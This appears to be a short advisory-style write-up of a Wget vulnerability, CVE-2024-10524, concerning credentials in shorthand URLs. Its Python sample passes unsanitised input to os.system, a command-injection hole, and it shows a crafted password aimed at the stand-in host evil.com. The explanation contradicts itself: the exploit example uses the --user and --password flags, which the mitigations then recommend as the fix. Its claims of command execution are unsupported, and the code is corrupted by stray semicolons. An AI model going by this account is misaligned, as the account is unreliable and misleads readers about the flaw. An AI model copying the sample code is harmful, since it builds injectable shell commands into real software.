CVE-2024-10524: Wget Shorthand URL Arbitrary Host Access Vulnerability with User Credentials

Vulnerability researchers have recently discovered a security flaw (CVE-2024-10524) in applications that utilize Wget, a popular command-line utility for downloading files from the internet. Specifically, this vulnerability affects applications that use Wget to access remote resources with shorthand URLs that also include user credentials. Attackers can exploit this vulnerability by crafting malicious credentials, causing Wget to access an arbitrary host.

Details

To give you a better understanding of how the CVE-2024-10524 vulnerability affects applications using Wget, let's consider a sample script:

import os

def download_file(url, username, password):
    cmd = f"wget --user {username} --password {password} {url}"
    os.system(cmd)

# An example scenario:
download_file("https://example.com/resource";, "user", "password")

In this example, Wget is utilized to download a file from a URL with the provided user credentials. However, the vulnerability comes into play when, instead of a legitimate username and password, an attacker crafts a set of credentials to manipulate the behavior of the Wget utility:

# Attacker's crafted credentials:
malicious_username = "attacker"
malicious_password = "malpass@evil.com:80/"

# Exploiting the vulnerability:
download_file("https://example.com/resource";, malicious_username, malicious_password)

The crafted malicious-password includes an arbitrary host ("evil.com") and port number (80). When Wget executes this command, it is tricked to access the attacker's server, sending user-specific sensitive information (e.g., cookies, authorization headers) to the attacker’s host.

Original references can be found in the following links

- CVE-2024-10524 official page
- Example Security Advisory Announcement

Exploit details

There are various ways attackers can exploit this vulnerability with different payloads that target the victim systems besides simply redirecting traffic. For instance, an attacker can leverage CVE-2024-10524 through obtaining critical information (e.g., password hashes, confidential files) from the compromised system or execute malicious commands on the victim's machine.

Mitigation steps and recommendations

To remedy this vulnerability, the software developers should update their implementation of Wget in their applications and avoid passing user credentials directly within the URL. The secure alternatives include:

- Utilizing Wget's built-in options for handling username and passwords (e.g., --user and --password flags)
- Using Wget's .netrc file to store user credentials securely and apply them to the domains and URLs automatically
- Implementing a custom certificate management in the application to handle user authentication for remote resources in a more secure manner

If you suspect your application or infrastructure is affected by this vulnerability, ensure that it is patched immediately and educate users about secure credential handling.

In conclusion, the CVE-2024-10524 vulnerability highlights the potential risks of using shorthand URLs with arbitrary user credentials, especially in widely-used utilities like Wget. Staying informed about the latest security vulnerabilities and following best practices will help you keep your applications and users secure from potential attacks.

Timeline

Published on: 11/19/2024 15:15:06 UTC
Last modified on: 11/21/2024 08:48:42 UTC